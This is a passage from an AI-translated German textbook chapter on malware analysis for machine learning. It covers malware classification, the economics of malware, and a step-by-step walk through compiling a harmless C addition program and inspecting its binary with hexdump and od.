Kapitel 4. Malware-Analyse
Diese Arbeit wurde mithilfe von KI übersetzt. Wir freuen uns über dein Feedback und deine Kommentare: translation-feedback@oreilly.com
Als 2010 die aus der Luft angezapften Atomzentrifugen in der iranischen Urananreicherungsanlage Natanz auf unerklärliche Weise ausfielen, wusste niemand genau, wer dafür verantwortlich war. Der Stuxnet-Wurm war einer der aufsehenerregendsten Erfolge der internationalen Cyber-Kriegsführung und eine bahnbrechende Demonstration der weitreichenden zerstörerischen Fähigkeiten bösartiger Computersoftware. Diese Schadsoftware verbreitete sich wahllos auf der ganzen Welt und setzte ihre Nutzlast nur dann frei, wenn sie ein bestimmtes industrielles Computersystem erkannte, das das Ziel verwendete. Berichten zufolge landete Stuxnet im Ruhezustand auf Zehntausenden von Windows-Rechnern und zerstörte ein Fünftel der iranischen Atomzentrifugen, um das Waffenprogramm des Landes zu verhindern.
DieMalware-Analyse ist die Untersuchung der Funktionsweise, des Zwecks, des Ursprungs und der potenziellen Auswirkungen von Schadsoftware. Diese Aufgabe ist traditionell sehr manuell und mühsam und erfordert Analysten mit Expertenwissen über Software-Interna und Reverse Engineering. Data Science und maschinelles Lernen haben sich als vielversprechend erwiesen, wenn es darum geht, bestimmte Teile der Malware-Analyse zu automatisieren, aber diese Methoden hängen immer noch stark davon ab, aussagekräftige Merkmale aus den Daten zu extrahieren.
In diesem Kapitel konzentrieren wir uns nicht auf statistische Lernmethoden.1 Stattdessen besprechen wir einen der wichtigsten, aber oft unterschätzten Schritte des maschinellen Lernens: das Feature Engineering. In diesem Kapitel geht es darum, das Verhalten und die Funktionsweise bösartiger ausführbarer Binärdateien zu erklären. Wir nähern uns der Analyse und Klassifizierung von Schadsoftware mit den Augen der Datenwissenschaft und untersuchen, wie man nützliche Informationen aus Binärdateien extrahieren kann.
Aufgrund des umfangreichen Hintergrundwissens, das für eine sinnvolle Diskussion über die Durchführung von Feature Engineering bei Malware erforderlich ist, ist dieses Kapitel in zwei Teile aufgeteilt. Der erste Teil, "Malware verstehen", vermittelt Hintergrundwissen über die Klassifizierung von Malware, die Malware-Ökonomie, die Software-Ausführungsmechanismen und das typische Verhalten von Malware. Diese Diskussion bereitet uns auf den zweiten Teil, "Feature Generation", vor, in dem wir spezifische Techniken zur Extraktion und Entwicklung von Merkmalen aus binären Datenformaten diskutieren2 für den Einsatz in der Datenwissenschaft und im maschinellen Lernen.
Malware verstehen
Der Quellcode durchläuft eine Reihe von Schritten, bevor er als Softwareprogramm auf einem Computer ausgeführt wird. Diese Schritte zu verstehen, ist für jeden Malware-Analysten entscheidend. Es gibt so viele verschiedene Arten von Malware wie verschiedene Arten von Software. Jede Art ist potenziell in einer anderen Programmiersprache geschrieben, zielt auf unterschiedliche Laufzeitumgebungen ab und hat unterschiedliche Ausführungsanforderungen. Wenn du Zugriff auf den High-Level-Code hast (z. B. C/C++, Java oder Python), ist es relativ einfach herauszufinden, was das Programm tut und wie du sein Verhalten analysieren kannst. Allerdings wirst du wahrscheinlich keinen einfachen Zugang zu dem High-Level-Code bekommen, der zur Herstellung von Malware verwendet wird. Die meiste Malware wird in freier Wildbahn gefangen und gesammelt, in Honeypots eingeschlossen, in Untergrundforen gehandelt oder auf den Rechnern ihrer ahnungslosen Opfer gefunden. In ihrem verpackten und bereitgestellten Zustand liegt die meiste Malware in Form von Binärdateien vor, die oft nicht für Menschen lesbar und für die direkte Ausführung auf dem Computer bestimmt sind. Das Profiling der Eigenschaften und des Verhaltens von Malware wird dann zu einem Reverse-Engineering-Prozess, um herauszufinden, was sie tut , als ob wir Zugang zu ihrem High-Level-Code hätten.
Binärdaten sind von Natur aus undurchsichtig und stellen diejenigen, die versuchen, Informationen aus ihnen zu extrahieren, vor große Schwierigkeiten. Ohne den Interpretationskontext, die Kodierungsstandards und den Dekodierungsalgorithmus zu kennen, sind die Binärdaten selbst bedeutungslos. Wie bereits in früheren Kapiteln erwähnt, ist ein maschinelles Lernsystem nur so gut wie die Qualität seiner Eingabedaten. Mehr noch als andere Formen des Inputs erfordern Rohdaten einen Plan zur Datenerfassung, -bereinigung und -validierung, bevor ein maschineller Lernalgorithmus angewendet werden kann. Die Vorverarbeitung dieser Rohdaten ist wichtig, um das optimale Format und die optimale Darstellung für den Lernalgorithmus auszuwählen.
In diesem Buch bezeichnen wir den gesamten Prozess des Sammelns und Aufbereitens von Daten in ein Format, das für die Eingabe in Algorithmen geeignet ist, allgemein als Feature Engineering. MitMerkmalsextraktion bezeichnen wir den Prozess der Extraktion von Merkmalen aus den Rohdaten. Wenn wir zum Beispiel WAV-Musikdateien in verschiedene3 in verschiedene Musikgenres (z. B. Klassik, Rock, Pop, Jazz) einordnen wollen, wären unsere Rohdaten WAV-Dateien. Die direkteste Übersetzung jeder WAV-Datei in eine Eingabe für einen maschinellen Lernalgorithmus ist die Verwendung der binären Darstellung der Datei auf Bit-Ebene. Dies ist jedoch weder die effektivste noch die effizienteste Darstellung von Musikdateien. Stattdessen können wir die Rohdaten mit Hilfe von Feature-Engineering in andere Darstellungen umwandeln. Zum Beispiel können wir sie durch ein Musikanalyseprogramm laufen lassen, um Merkmale wie die minimale, maximale und mittlere Amplitude und Frequenz zu extrahieren. Anspruchsvollere Analyseprogramme können Merkmale wie die Anzahl der Schläge pro Minute, die Tonart des Stücks und feinere mehrstimmige Merkmale der Musik extrahieren. Wie du dir vorstellen kannst, können diese Merkmale dabei helfen, ein viel umfassenderes Bild eines Musikstücks zu zeichnen, so dass ein maschinelles Lernsystem die Unterschiede in Tempo, Rhythmus und Klangcharakteristiken zwischen Proben verschiedener Genres lernen kann.
Um gute Merkmale für die Sicherheitsanalyse von Computer-Binärdateien zu identifizieren und zu extrahieren, ist ein tiefes Verständnis der Software-Interna erforderlich. Dieses Fachgebiet wird Softwareentwicklunggenannt - derProzess der Extraktion von Informationen und Wissen über das Innenleben von Software, um ihre Eigenschaften, Funktionsweise und Schwachstellen vollständig zu verstehen. Durch das Reverse Engineering einer Binärdatei können wir ihre Funktionalität, ihren Zweck und manchmal sogar ihren Ursprung verstehen. Reverse Engineering ist eine spezielle Fähigkeit, die viel Training und Übung erfordert. Dieses Kapitel ist kein umfassender Leitfaden für Reverse Engineering - es gibt viele solcher Leitfäden.4 Stattdessen wollen wir eine Grundlage schaffen, um die Feature-Generierung mit den Prinzipien des Reverse Engineering anzugehen. Wenn wir verstehen, wie eine Software funktioniert, und die besonderen Eigenschaften ihrer Funktion erkennen, können wir bessere Funktionen entwickeln, die den Algorithmen für maschinelles Lernen helfen, bessere Vorhersagen zu treffen.
Schadsoftware kann in eine Vielzahl verschiedener Binärformate eingebettet sein, die sich in ihrer Funktionsweise stark voneinander unterscheiden. Zum Beispiel haben Windows PE-Dateien (Portable Executables, mit den Dateierweiterungen .exe, .dll, .efi usw.), Unix ELF-Dateien (Executable and Linkable Format) und Android APK-Dateien (Android Package Kit Format, mit den Dateierweiterungen .apk usw.) sehr unterschiedliche Dateistrukturen und Ausführungskontexte. Natürlich ist auch der Hintergrund, der für die Analyse der einzelnen Klassen von ausführbaren Dateien erforderlich ist, unterschiedlich. Wir müssen auch Malware in Betracht ziehen, die nicht nur in Form von eigenständigen ausführbaren Binärdateien existiert. Dokumentenbasierte Malware mit Dateierweiterungen wie .doc, .pdf und .rtf nutzt häufig Makros5 und dynamische ausführbare Elemente in der Dokumentstruktur, um bösartige Handlungen auszuführen. Malware kann auch in Form von Erweiterungen und Plug-ins für beliebte Softwareplattformen wie Webbrowser und Web-Frameworks auftreten. Wir gehen nicht zu sehr ins Detail auf jedes dieser Formate ein und streifen stattdessen nur wichtige Unterschiede zwischen ihnen, wobei wir uns auf Android APKs als Beispiel konzentrieren, um deine eigene Forschung und Entwicklung in der Malware-Datenanalyse anzuleiten.
Definition der Malware-Klassifizierung
Bevor wir anfangen, Binärdateien zu zerlegen, sollten wir die Diskussion mit einigen Definitionen beginnen. Bei der Malware-Klassifizierung werden verschiedene Malware-Samples anhand gemeinsamer Eigenschaften zusammengefasst. Wir können Malware auf viele verschiedene Arten klassifizieren, je nach dem Zweck der Aufgabe. Ein Sicherheitsteam kann Malware zum Beispiel nach Schweregrad und Funktion gruppieren, um das Risiko, das sie für ein Unternehmen darstellt, effektiv einzuteilen. Security Response Teams können Malware nach potenziellem Schadensausmaß und Eintrittsvektor gruppieren, um Abhilfe- und Eindämmungsstrategien zu entwickeln. Malware-Forscher können Malware nach Herkunft und Urheberschaft kategorisieren, um ihre Herkunft und ihren Zweck zu verstehen.
Bei der allgemeinen Malware-Analyse werden die Proben in der Regel nach Familiengruppiert - einBegriff, der von Malware-Analysten verwendet wird, um die Urheberschaft nachzuvollziehen, Informationen zu korrelieren und neue Varianten von neu gefundener Malware zu identifizieren. Malware-Samples derselben Familie können ähnlichen Code, Fähigkeiten, Urheberschaft, Funktionen, Zwecke und/oder Herkunft haben. Ein bekanntes Beispiel für eine Malware-Familie ist Conficker, ein Wurm, der auf das Microsoft Windows-Betriebssystem abzielt. Obwohl es viele Varianten des Conficker-Wurms gibt, die sich in Code, Urheberschaft und Verhalten unterscheiden, werden die Würmer aufgrund bestimmter Merkmale derselben Malware-Familie zugeordnet, was darauf hindeutet, dass sie sich wahrscheinlich aus einem bereits bekannten Vorläufer entwickelt haben. Alle Conficker-Würmer nutzen zum Beispiel Schwachstellen im Windows-Betriebssystem aus und versuchen mit Wörterbuchangriffen, das Passwort des Administratorkontos zu knacken, um dann auf dem angegriffenen Rechner verdeckte Software zu installieren und Botnets aufzubauen.
Unterschiede zwischen Malware-Samples innerhalb derselben Familie können auf unterschiedliche Compiler zurückzuführen sein, die zum Kompilieren des Quellcodes verwendet wurden, oder auf Codeabschnitte, die hinzugefügt und/oder entfernt wurden, um die Funktionalität der Malware selbst zu verändern. Malware-Samples, die sich im Laufe der Zeit als Reaktion auf veränderte Erkennungs- oder Abwehrstrategien weiterentwickeln, weisen oft auch Ähnlichkeiten zwischen älteren und neueren Versionen auf, so dass Analysten die Entwicklung einer Malware-Familie nachvollziehen können. Dennoch ist die Zuordnung von Malware-Familien eine schwierige Aufgabe, die je nach den vom Analysten verwendeten Klassifizierungsdefinitionen und -methoden zu unterschiedlichen Ergebnissen führen kann.
Die Klassifizierung von Malware kann auch auf die Klassifizierung von nicht bösartigen Binärdateien ausgedehnt werden. Diese Art der Klassifizierung wird verwendet, um festzustellen, ob eine Software bösartig ist. Bei einer beliebigen Binärdatei wollen wir wissen, wie hoch die Wahrscheinlichkeit ist, dass wir ihr vertrauen und sie in einer vertrauenswürdigen Umgebung ausführen können. Dies ist ein zentrales Ziel von Antivirensoftware und eine besonders wichtige Aufgabe für Computersicherheitsexperten, denn dieses Wissen kann dazu beitragen, die Verbreitung von Malware in einem Unternehmen zu verhindern. Traditionell wird diese Aufgabe durch den Abgleich von Signaturen erfüllt: Anhand einer Sammlung von Eigenschaften und Verhaltensweisen früherer Malware können neu eintreffende Binärdateien mit diesem Datensatz verglichen werden, um festzustellen, ob sie mit bereits gesehener Malware übereinstimmen.
Die Methode zum Abgleich von Signaturen funktioniert gut, solange die Malware-Autoren die Eigenschaften und das Verhalten der Malware nicht wesentlich ändern, um eine Entdeckung zu vermeiden, und die ausgewählten Eigenschaften und Verhaltensweisen ein ausgewogenes Verhältnis zwischen Signalstabilität (so dass alle Malware-Samples, die zu dieser Familie gehören, dieses Signal aufweisen) und Unterscheidbarkeit (so dass gutartige Binärdateien keine Eigenschaften oder Verhaltensweisen aufweisen, die sie fälschlicherweise als Malware klassifizieren). Malware-Autoren haben jedoch einen starken Anreiz, die Eigenschaften und das Verhalten ihrer Software ständig zu verändern, um nicht entdeckt zu werden.
Metamorphe oder polymorphe6 Viren und Würmer verwenden statische und dynamische Verschleierungstechniken, um die Merkmale ihres Codes, ihres Verhaltens und ihrer Eigenschaften zu verändern, die in den Algorithmen zur Signaturerstellung von Malware-Erkennungsprogrammen verwendet werden. Früher war dieser Grad an Raffinesse bei Malware selten, aber mittlerweile ist er immer häufiger anzutreffen, da es immer wieder gelingt, Malware-Engines mit syntaktischen Signaturen zu überlisten. Syntaktische Signatur-Engines sind weiterhin auf der Jagd nach immer weniger statischen Signalen, die Malware-Autoren nicht verschleiern oder grundsätzlich nicht verändern können.
Maschinelles Lernen bei der Klassifizierung von Malware
Data Science und maschinelles Lernen können bei einigen der von moderner Malware verursachten Probleme helfen. Das liegt vor allem an drei Merkmalen, die ihnen gegenüber dem statischen Abgleich von Signaturen einen Vorteil verschaffen:
- Unscharfer Abgleich
-
Algorithmen für maschinelles Lernen können die Ähnlichkeit zwischen zwei oder mehr Objekten mit einer Distanzmetrik ausdrücken. Algorithmen zum Abgleich von Ähnlichkeiten, die bisher eine binäre Ausgabe - Übereinstimmung oder keine Übereinstimmung -lieferten , könnennun eine reale Zahl zwischen 0 und 1 ausgeben, die einen Konfidenzwert angibt, der angibt, wie wahrscheinlich es ist, dass die beiden Entitäten dieselben sind oder zur selben Klasse gehören. Um auf das intuitive Beispiel der Clustering-Methoden zurückzukommen: Datenproben, die in einem Vektorraum von Merkmalen abgebildet werden, können auf der Grundlage der relativen Abstände zwischen den einzelnen Merkmalen gruppiert werden. Punkte, die nahe beieinander liegen, gelten als sehr ähnlich, während Punkte, die weit voneinander entfernt sind, als sehr unähnlich angesehen werden können.
Diese Fähigkeit, ungefähre Übereinstimmungen zwischen Entitäten auszudrücken, ist sehr hilfreich bei der Klassifizierung von Malware, deren Unterschiede den statischen Signaturabgleich verwirren.
- Automatisierte Objektauswahl
-
Die automatische Gewichtung und Auswahl von Merkmalen ist ein wichtiger Aspekt des maschinellen Lernens, der bei der Klassifizierung von Malware hilft. Auf der Grundlage der statistischen Eigenschaften der Trainingsmenge können Merkmale nach ihrer relativen Bedeutung für die Unterscheidung einer Probe der Klasse A von einer anderen Probe der Klasse B sowie für die Gruppierung von zwei Proben der Klasse A geordnet werden. Die Klassifizierung von Malware ist traditionell eine hochgradig manuelle Aufgabe, die viel Hintergrundwissen darüber erfordert, wie Malware funktioniert und welche Eigenschaften in einer Malware-Klassifizierungsmaschine verwendet werden sollten. Einige Algorithmen zur Dimensionalitätsreduktion und Merkmalsauswahl können sogar verborgene Eigenschaften von Proben aufdecken, die sonst selbst für einen erfahrenen Malware-Analysten schwer zu finden wären.
Das maschinelle Lernen nimmt Malware-Analysten einen Teil der Last ab, den Wert der einzelnen Merkmale zu bestimmen. Indem sie die Daten automatisch erkennen und bestimmen lassen, welche Merkmale in einem Klassifizierungsschema verwendet werden sollen, können sich Analysten stattdessen auf die Entwicklung von Merkmalen konzentrieren und die Fähigkeiten des Algorithmus durch die Bereitstellung eines größeren und aussagekräftigeren Datensatzes bereichern.
- Anpassungsfähigkeit
-
Der ständige Kampf zwischen Malware-Tätern und Systemverteidigern führt dazu, dass die generierten Angriffsmuster einem ständigen Wandel unterworfen sind. Wie bei der Softwareentwicklung üblich, entwickelt sich Malware im Laufe der Zeit weiter, wenn die Autoren Funktionen hinzufügen und Fehler beheben. Wie wir bereits erwähnt haben, haben Malware-Autoren außerdem einen Anreiz, ständig in Bewegung zu bleiben und das Verhalten der Malware zu ändern, um nicht entdeckt zu werden. Mit Fuzzy Matching und einer datengesteuerten Merkmalsauswahl können Malware-Klassifizierungssysteme, die mit maschinellem Lernen implementiert wurden, sich an veränderte Eingaben anpassen und die Entwicklung von Malware im Laufe der Zeit verfolgen.
So können zum Beispiel Proben der Conficker-Malware-Familie aus den Jahren 2008 und 2010 sehr unterschiedliche Verhaltensweisen und Erscheinungsbilder aufweisen. Ein adaptives Klassifizierungssystem, das die allmählichen Veränderungen der Muster dieser Familie im Laufe der Zeit konsequent verfolgt und erkannt hat, hat gelernt, nach Eigenschaften zu suchen, die nicht nur mit den frühen Datenmustern übereinstimmen, sondern auch mit den weiterentwickelten Mustern der gleichen Familie.
Die Malware-Attribution mag für die vorliegende Klassifizierungsaufgabe nicht entscheidend sein, aber ein umfassendes Verständnis der Ziele und der Herkunft des Angreifers kann Verteidigern helfen, weitsichtigere Abwehrstrategien zu entwickeln, die die langfristigen Versuche der Täter, in ein System einzudringen, vereiteln.
Maschinelles Lernen kann dazu beitragen, den Aufwand an manueller Arbeit und Expertenwissen bei der Klassifizierung von Malware erheblich zu reduzieren. Wenn man Daten und Algorithmen Entscheidungen treffen lässt, bei denen Korrelationen zwischen einer großen Anzahl von Mustern hergestellt werden müssen, erzielt man viel bessere Ergebnisse als Menschen, die diese Aufgabe übernehmen. Die Suche nach Mustern und Ähnlichkeiten in Daten ist die Stärke von Algorithmen des maschinellen Lernens, aber einige Aspekte der Aufgabe erfordern immer noch menschlichen Einsatz. Die Erstellung von beschreibenden Datensätzen in einem Format, das den Algorithmen beim Lernen und Klassifizieren hilft, ist eine Aufgabe, die einen Datenwissenschaftler erfordert, der sowohl weiß, wie Malware funktioniert , als auch wie Algorithmen arbeiten.
Malware: Hinter den Kulissen
Um einen beschreibenden Datensatz zur Klassifizierung von Malware zu erstellen, müssen wir verstehen, wie Malware funktioniert. Dazu müssen wir uns mit der Malware-Ökonomie, den gängigen Malware-Typen und den allgemeinen Software-Ausführungsprozessen in modernen Computerumgebungen auseinandersetzen.
Die Malware-Ökonomie
Wie wir in "Die Wirtschaft der Cyber-Angreifer" erörtert haben , ist die Malware-Wirtschaft aufgrund des grundlegenden Ungleichgewichts zwischen den Kosten und dem Nutzen der Verbreitung von Malware sehr lebendig und geschäftig. Wenn man dieses Thema aus der Perspektive der Wirtschaft betrachtet, ist es leicht zu verstehen, warum Malware so weit verbreitet ist. Die Verbreiter von Malware müssen nur einen minimalen Aufwand oder eine geringe Geldsumme aufwenden, um Malware-Binaries zu erwerben. Pay-per-install (PPI) Marktplätze bieten dann billige und garantierte Verbreitungskanäle für Malware. Auch ohne organisierte Verbreitungsplattformen kann Malware über das Internet, E-Mails und Social-Engineering-Techniken leicht verbreitet werden. Nachdem die Malware an eine ahnungslose Gruppe von Opfern verteilt wurde, können die Täter aufgrund des hohen Wertes der gestohlenen Anmeldedaten oder Kreditkartennummern auf dem Untergrundmarkt und der illegalen Werbeeinnahmen potenziell große Gewinne erzielen.
Malware-Autoren sind in der Regel erfahrene und talentierte Entwickler, die entweder für sich selbst oder mit einer organisierten Gruppe arbeiten. Die meisten Malware-Vertreiber sind jedoch keine Autoren. Malware-Distributoren kaufen ihre Nutzdaten meist auf unterirdischen Online-Marktplätzen und in Foren. Die technisch etwas versierteren Akteure stehlen und adaptieren Malware von anderen Autoren für ihre eigenen Zwecke. Eine Familie von Malware-Samples kann ähnliche Funktionen aufweisen und von einem gemeinsamen Stamm abstammen, der sich im Laufe der Zeit weiterentwickelt, aber nicht alle Änderungen an der Malware stammen vom selben Autor (oder einer Gruppe). Neue Versionen eines Malware-Stamms können unabhängig voneinander entwickelt werden, ohne dass die ursprünglichen Autoren davon wissen. Mit Zugriff auf den Code oder der Fähigkeit, Programme zurückzuentwickeln und neu zusammenzusetzen, kann jeder engagierte Akteur einfache Änderungen vornehmen und sie als neue Malware weiterverbreiten.
Verglichen mit ihrem potenziellen Nutzen sind die Kosten für die Beschaffung und Verbreitung von Malware verschwindend gering. Nehmen wir Ransomware als Beispiel. Ransomware bietet den Tätern einen einmalig einfachen Auszahlungsprozess. Anpassbare Ransomware (die es den Käufern ermöglicht, ihre eigenen Lösegeldnachrichten und Bitcoin-Wallet-Adressen einzufügen, bevor sie verschickt wird) kann auf Untergrundmarktplätzen für mehrere Dutzend Dollar erworben werden. Die Kosten für tausend erfolgreiche Installationen der Ransomware auf einem Computer in einer wohlhabenden Region belaufen sich auf etwa 180 Dollar. Wenn auf jedem infizierten Computer eine Lösegeldforderung in Höhe von 50 US-Dollar gepostet wird und sich 10 % der Betroffenen dazu entschließen, das Lösegeld zu zahlen - einevorsichtige Schätzung -,würde der erwartete Gewinn des Täters mehr als das 25-fache der ursprünglichen Investition betragen. Dieses äußerst lukrative Geschäftsmodell erklärt den Anstieg der Ransomware-Infektionen in den letzten Jahren.
Es ist wichtig zu wissen, dass die meisten illegalen Unternehmen eine ähnlich verzerrte Wirtschaft hätten, wenn sie nicht durch strenge Gesetze und Vorschriften kontrolliert worden wären. Drogenhändler, die sich die menschliche Sucht zunutze machen, können eine hochgradig unelastische Angebotskurve ausnutzen, um ihre Gewinnspannen astronomisch zu steigern. Banden, die unter Androhung von Gewalt Geld von ihren Opfern erpressen, können zweifelsohne einen guten Profit aus ihren Geschäften ziehen. Der Unterschied zwischen diesen Beispielen und der Malware-Ökonomie liegt in der Schwierigkeit, letztere einer kriminellen Zurechnung und Strafverfolgung zu unterziehen. Es ist fast unmöglich, die Verantwortung für einen Cyberangriff oder die Urheberschaft von Malware mit Sicherheit einem bestimmten Akteur zuzuordnen und damit auch fast unmöglich, rechtliche Konsequenzen zu ziehen. Diese Eigenschaft macht die Verbreitung von Malware zu einem der lukrativsten und risikoärmsten illegalen Geschäfte, die es je gab.
Moderne Code-Ausführungsprozesse
Wir untersuchen nun, wie allgemeine Klassen moderner Programme geschrieben und ausgeführt werden, und überlegen, wie man Binärdateien und ausgeführte Programme untersuchen kann, um ihr Innenleben zu verstehen, ohne Zugang zum geschriebenen Code zu haben.
Hinweis
Im Folgenden wird der Code-Ausführungsprozess für eine große Klasse gängiger Computerprogramme beschrieben, der für viele moderne Programmiersprachen und Ausführungsplattformen gilt. Es handelt sich keineswegs um eine umfassende oder repräsentative Darstellung, wie alle Arten von Programmen ausgeführt werden. Das riesige und vielfältige Ökosystem von Programmierumgebungen und Systemlaufzeiten führt zu einer Reihe von subtilen bis stumpfen Unterschieden bei der Ausführung von Code in verschiedenen Umgebungen. Dennoch lassen sich viele der von uns erörterten Konzepte verallgemeinern und es können oft Parallelen zu anderen Arten von Codeausführungsprozessen gezogen werden.
Im Allgemeinen gibt es zwei Arten der Codeausführung: kompilierte Ausführung und interpretierte Ausführung. Bei der kompilierten Ausführung wird der geschriebene Code durch eine Reihe von Konvertierungsschritten in native Maschinenbefehle übersetzt7 (oft auch als Softwareerstellungsprozess bezeichnet). Diese Maschinenbefehle werden in Binärdateien verpackt, die dann direkt von der Hardware ausgeführt werden können. Bei der interpretierten Ausführung wird der geschriebene Code (manchmal auch als Skript bezeichnet) in ein Zwischenformat übersetzt, das dann an einen Interpreter zur Programmausführung weitergegeben wird. Der Interpreter ist dafür zuständig, die Anweisungen des Programms auf der Hardware auszuführen, auf der es läuft. Das Zwischenformat variiert zwischen den verschiedenen Implementierungen, ist aber meistens eine Form von Bytecode (binäre Maschinenbefehle), der auf einer virtuellen Maschine ausgeführt wird.8 Einige Implementierungen sind eine Mischung aus kompilierter und interpretierter Ausführung, oft unter Verwendung der sogenannten Just-in-Time-Kompilierung(JIT), bei der der Bytecode des Interpreters in Echtzeit in native Maschinenbefehle übersetzt wird.9
Abbildung 4-1 zeigt die üblichen Code-Ausführungsprozesse für einige moderne Software-Implementierungen.
Schauen wir uns die Elemente in Abbildung 4-1 genauer an:
-
Die rechteckigen Kästchen stellen das Programm in seinen verschiedenen Zuständen dar.
-
Die Ellipsen stellen Softwareumwandlungsschritte dar, die das Programm von einem Zustand in einen anderen überführen.
-
Die durchgezogenen Pfeile zwischen den Knotenpunkten zeigen den Weg des Codes von seinem vom Menschen geschriebenen Zustand bis zu seiner Ausführung auf der Hardware.
-
Der graue Kasten enthält einige Tools, mit denen Reverse Engineers den statischen oder dynamischen Zustand eines Binär- oder laufenden Programms untersuchen können (wie durch die gestrichelten Pfeile angedeutet) und so wertvolle Einblicke in den Code-Ausführungsprozess erhalten.
Ausführung von kompiliertem Code
Als Beispiel nehmen wir ein Stück C-Code, das eine einfache Arithmetik ausführt, und gehen Schritt für Schritt durch den Build-Prozess für eine kompilierte Implementierung. In Abbildung 4-1 sehen wir den Weg eines Programms vom anfänglichen Zustand "Quellcode (kompilierte Ausführung)". Hier ist der Code, den wir kompilieren wollen, gespeichert in einer Datei namens add.c:10
#include <stdio.h>
int
main
()
{
// Adds 1 to variable x
int
x
=
3
;
printf
(
"x + 1 = %d"
,
x
+
1
);
return
0
;
}
-
Der erste Schritt des Erstellungsprozesses ist ein kleiner, aber wichtiger Schritt: die Vorverarbeitung (in Abbildung 4-1 weggelassen). In C werden Zeilen, die mit dem Zeichen
#
beginnen, vom Präprozessor als Präprozessordirektiven interpretiert. Der Präprozessor durchläuft einfach den Code und behandelt diese Direktiven als Makros. Er bereitet den Code für die Kompilierung vor, indem er u. a. die Inhalte von eingebundenen Bibliotheken einfügt und Codekommentare entfernt. Um die Ergebnisse der Vorverarbeitung zu überprüfen, kannst du den folgenden Befehl ausführen:> cc -E add.c [above lines omitted for brevity] extern void funlockfile (FILE *__stream) __attribute__ ((__nothrow__ , __leaf__)); # 942 "/usr/include/stdio.h" 3 4
# 2 "add.c" 2
# 3 "add.c"
int
main
()
{
int
x
=
3
;
printf
(
"x + 1 = %d"
,
x
+
1
);
return
0
;
}
Beachte, dass die Ausgabe der Vorverarbeitungsphase viele Codezeilen enthält, die nicht in der ursprünglichen add.c-Datei enthalten waren. Der Präprozessor hat die Zeile
#include <stdio.h>
durch einige Inhalte aus der Standard-C-Bibliothekstdio.h
ersetzt. Beachte auch, dass der Inline-Kommentar im Originalcode in dieser Ausgabe nicht mehr auftaucht. -
Der nächste Schritt des Build-Prozesses ist die Kompilierung. Dabei übersetzt der Compiler den vorverarbeiteten Code in Assemblercode. Der erzeugte Assembler-Code ist spezifisch für die Architektur des Zielprozessors, da er Anweisungen enthält, die die CPU verstehen und ausführen muss. Die vom Compiler erzeugten Assembler-Anweisungen müssen Teil des Befehlssatzes sein, den der zugrunde liegende Prozessor versteht. Um die Ausgabe des C-Compilers zu überprüfen, indem du den Assembler-Code in einer Datei speicherst, kannst du Folgendes ausführen:
> cc -S add.c
Dies ist der Assembler-Code, der mit einer bestimmten Version des GCC11 (GNU Compiler Collection) C-Compilers erzeugt wurde, der auf ein 64-Bit-Linux-System(x86_64-linux-gnu) ausgerichtet ist:
> cat add.s .file "add.c" .section .rodata .LC0: .string "x + 1 = %d" .text .globl main .type main, @function main: .LFB0: .cfi_startproc pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset 6, −16 movq %rsp, %rbp .cfi_def_cfa_register 6 subq $16, %rsp movl $3, −4(%rbp) movl −4(%rbp), %eax addl $1, %eax movl %eax, %esi movl $.LC0, %edi movl $0, %eax call printf movl $0, %eax leave .cfi_def_cfa 7, 8 ret .cfi_endproc .LFE0: .size main, .-main .ident "GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609" .section .note.GNU-stack,"",@progbits
Diese Ausgabe erscheint unverständlich, wenn du dich nicht mit Assembler-Code (in diesem Fall x64-Assembler-Code) auskennst. Mit einigen Assembler-Kenntnissen ist es jedoch möglich, sich allein anhand dieses Codes ein ziemlich vollständiges Bild davon zu machen, was das Programm tut. Wenn du dir die beiden fettgedruckten Zeilen in der Beispielausgabe ansiehst,
addl ...
undcall printf
, ist es ziemlich einfach zu erraten, dass das Programm eine Addition durchführt und dann die Druckfunktion aufruft. Die meisten anderen Zeilen dienen nur dazu, Werte in und aus CPU-Registern und Speicherplätzen zu verschieben, damit andere Funktionen auf sie zugreifen können. Trotzdem ist die Analyse von Assembler-Code ein komplexes Thema, das wir hier nicht weiter ausführen wollen.12 -
Nachdem der Assembler-Code erstellt wurde, ist es Aufgabe des Assemblers, diesen in Objektcode (Maschinencode) zu übersetzen. Die Ausgabe des Assemblers ist ein Satz von Maschinenbefehlen, die der Zielprozessor direkt ausführen kann:
> cc -c add.c
Dieser Befehl erstellt die Objektdatei add.o. Der Inhalt dieser Datei liegt im Binärformat vor und ist schwer zu entziffern, aber wir wollen ihn trotzdem untersuchen. Das können wir mit Tools wie
hexdump
undod
tun. Das Dienstprogrammhexdump
zeigt den Inhalt der Zieldatei standardmäßig im Hexadezimalformat an. Die erste Spalte der Ausgabe gibt den Offset der Datei (in Hexadezimal) an, an dem du den entsprechenden Inhalt finden kannst:> hexdump add.o 0000000 457f 464c 0102 0001 0000 0000 0000 0000 0000010 0001 003e 0001 0000 0000 0000 0000 0000 0000020 0000 0000 0000 0000 02b8 0000 0000 0000 0000030 0000 0000 0040 0000 0000 0040 000d 000a 0000040 4855 e589 8348 10ec 45c7 03fc 0000 8b00 0000050 fc45 c083 8901 bfc6 0000 0000 00b8 0000 0000060 e800 0000 0000 00b8 0000 c900 78c3 2b20 [omitted for brevity] 00005c0 0000 0000 0000 0000 0000 0000 0000 0000 00005d0 01f0 0000 0000 0000 0013 0000 0000 0000 00005e0 0000 0000 0000 0000 0001 0000 0000 0000 * 00005f8
Das Dienstprogramm
od
(was für octal dump steht) gibt den Inhalt von Dateien in oktalen und anderen Formaten aus. Seine Ausgabe könnte etwas lesbarer sein, es sei denn, du bist ein Hexadezimal-Leseassistent:> od -c add.o ...0000 177 E L F 002 001 001 \0 \0 \0 \0 \0 \0 \0 \0 \0 ...0020 001 \0 > \0 001 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 ...0040 \0 \0 \0 \0 \0 \0 \0 \0 270 002 \0 \0 \0 \0 \0 \0 ...0060 \0 \0 \0 \0 @ \0 \0 \0 \0 \0 @ \0 \r \0 \n \0 ...0100 U H 211 345 H 203 354 020 307 E 374 003 \0 \0 \0 213 [omitted for brevity] ...2700 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 ...2720 360 001 \0 \0 \0 \0 \0 \0 023 \0 \0 \0 \0 \0 \0 \0 ...2740 \0 \0 \0 \0 \0 \0 \0 \0 001 \0 \0 \0 \0 \0 \0 \0 ...2760 \0 \0 \0 \0 \0 \0 \0 \0 ...2770
